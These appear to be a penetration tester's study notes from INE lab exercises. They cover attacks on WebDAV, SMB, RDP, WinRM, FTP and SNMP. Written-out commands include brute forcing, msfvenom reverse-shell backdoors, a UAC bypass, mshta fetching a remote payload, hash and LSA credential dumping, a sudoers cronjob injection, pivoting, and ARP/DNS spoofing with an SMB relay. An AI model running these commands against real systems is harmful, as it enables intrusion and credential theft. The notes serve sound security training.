System/Host Based Attacks
- webdav metasploit
- use dirb to find the dav directory
dirb demo.ine.local
- use davtest tool
davtest -url http://demo.ine.local/webdav
- login with davtest
davtest -auth bob:password_123321 -url http://demo.ine.local/webdav
- msf module
iis_webdav_upload_asp
, setRHOSTS
,HttpUsername
,HttpPassword
andPATH /webdav/metasploit%RAND%.asp
- use dirb to find the dav directory
- smb server psexec
- msf module to bruteforce
auxiliary/scanner/smb/smb_login
, setUSER_FILE
PASS_FILE
RHOSTS
andVERBOSE
- msf module to gain access
exploit/windows/smb/psexec
, setRHOSTS
SMBUser
andSMBPass
- msf module to bruteforce
- insecure rdp service
- use msf module
auxiliary/scanner/rdp/rdp_scanner
to detect rdp service - use hydra bruteforce
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://demo.ine.local -s 3333
- connect with xfreerdp
xfreerdp /u:administrator /p:qwertyuiop /v:demo.ine.local:3333
- use msf module
- winrm exploitation with msf
- msf module to bruteforce
auxiliary/scanner/winrm/winrm_login
, setRHOSTS
USER_FILE
PASS_FILE
VERBOSE
andPASSWORD anything
- msf module to check auth methods
auxiliary/scanner/winrm/winrm_auth_methods
- msf module to execute shellcode
auxiliary/scanner/winrm/winrm_cmd
- msf module to get meterpreter session
exploit/windows/winrm/winrm_script_exec
, setFORCE_VBS true
- msf module to bruteforce
- uac bypass with uacme
- HTTP File Server (HFS) is an example
- use searchsploit
searchsploit hfs
- msf module
exploit/windows/http/rejetto_hfs_exec
- common meterpreter
getuid
sysinfo
, migrate to privileged process likeps -S explorer.exe
migrate 2332
andgetsystem
- check admin privilege
shell
net localgroup administrators
but its admin without high privilege - to get high privilege, upload
backdoor.exe
frommsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'
andAkagi64.exe
fromUACMe
- create a
PAYLOAD windows/meterpreter/reverse_tcp
with msf moduleexploit/multi/handler
and connect back withAkagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe
- now we have high privilege, migrate to lssas.exe using
ps -S lsass.exe
migrate 496
and dump hashes withhashdump
- privilege escalation using token impersonation
- exploit hsf server with
exploit/windows/http/rejetto_hfs_exec
msf module - load the incog plugin
load incognito
and check tokenslist_tokens -u
- impersonate token with
impersonate_token ATTACKDEFENSE\\Administrator
- exploit hsf server with
- unattended installation
- use the PowerSploit framework and Powerup.ps1 scripts
powershell -ep bypass (PowerShell execution policy bypass)
. .\PowerUp.ps1
Invoke-PrivescAudit
- there is an
Unattend.xml
atcat C:\Windows\Panther\Unattend.xml
, decode with base64 - using runas
runas.exe /user:administrator cmd
and the password to login - to get meterpreter use msf module
exploit/windows/misc/hta_server
and get the url, then runmshta.exe http://10.10.31.2:8080/Bn75U0NL8ONS.hta
on windows
- use the PowerSploit framework and Powerup.ps1 scripts
- kiwi extension
- exploit badblue 2.7
exploit/windows/http/badblue_passthru
, migratemigrate -N lsass.exe
, load kiwiload kiwi
- dump admin NTLM
creds_all
, extract userslsa_dump_sam
and get syskeylsa_dump_secrets
- exploit badblue 2.7
- proftp recon
- hydra bruteforce
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local -t 4 ftp
- nmap bruteforce
nmap --script ftp-brute --script-args userdb=/root/users -p 21 demo.ine.local
- hydra bruteforce
- samba recon
- msf module bruteforce
auxiliary/scanner/smb/smb_login
setPASS_FILE
andSMBUser
- using hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt demo.ine.local smb
- using smbmap
smbmap -H demo.ine.local -u admin -p password1
- list the shares
smbclient -L demo.ine.local -U jane
- check if it exists but not browsable
smbclient //demo.ine.local/jane -U jane
, connect to smbsmbclient //demo.ine.local/admin -U admin
- list the named pipes using msf module
auxiliary/scanner/smb/pipe_auditor
, they faciliate IPC connection using IPC$ share - use enum4linux to get SID
enum4linux -r -u "admin" -p "password1" demo.ine.local
- msf module bruteforce
- cronjobs
- add user to sudoers by injecting script executed by root cronjob
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
thensudo -l
sudo su
into root shell
- add user to sudoers by injecting script executed by root cronjob
- exploiting suid
welcome
file has suid bit, just run it to get root bruh
- cracking linux password
- exploit proftp
exploit/unix/ftp/proftpd_133c_backdoor
PAYLOAD payload/cmd/unix/reverse
- post exploitation module to dump hashes
post/linux/gather/hashdump
set SESSION 1
- crack hash
use auxiliary/analyze/crack_linux
set SHA512 true
- exploit proftp
Network-Based Attacks
- netbios hacking
- get the security level
nmap -p445 --script smb-security-mode demo.ine.local
- check for anonymous access
smbclient -L demo.ine.local
- enumerate users with nmap
nmap -p445 --script smb-enum-users.nse demo.ine.local
- using hydra with the list of users
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
- getting meterpreter with credentials msf module
exploit/windows/smb/psexec
- pivot by adding route
run autoroute -s 10.0.22.69/20
- start a socks proxy, check the port
cat /etc/proxychains4.conf
and use msf moduleuse auxiliary/server/socks_proxy
and setSRVPORT 9050
VERSION 4a
- nmap over socket connection
proxychains nmap demo1.ine.local -sT -Pn -sV -p 445
- migrate to
migrate -N explorer.exe
and usenet view 10.0.22.69
list shares on internal device - map the shares to drive
net use D: \\10.0.22.69\Documents
- get the security level
- snmp analysis
- snmp nmap bruteforce
nmap -sU -p 161 --script=snmp-brute demo.ine.local
to get community string - get information on community string using
snmpwalk -v 1 -c public demo.ine.local
- nmap get all info on snmp
nmap -sU -p 161 --script snmp-* demo.ine.local > snmp_output
- using list of users, we can bruteforce smb using hydra
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
- login to smb using msf module
exploit/windows/smb/psexec
- snmp nmap bruteforce
- dns and smb relay attack
- setup the relay using msf module
exploit/windows/smb/smb_relay
- configure dnsspoof
echo "172.16.5.101 *.sportsfoo.com" > dns
dnsspoof -i eth1 -f dns
- enable port forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
- start arp spoof for both sides
arpspoof -i eth1 -t 172.16.5.5 172.16.5.1
arpspoof -i eth1 -t 172.16.5.1 172.16.5.5
- once it receives the connection, you get a meterpreter shell
- setup the relay using msf module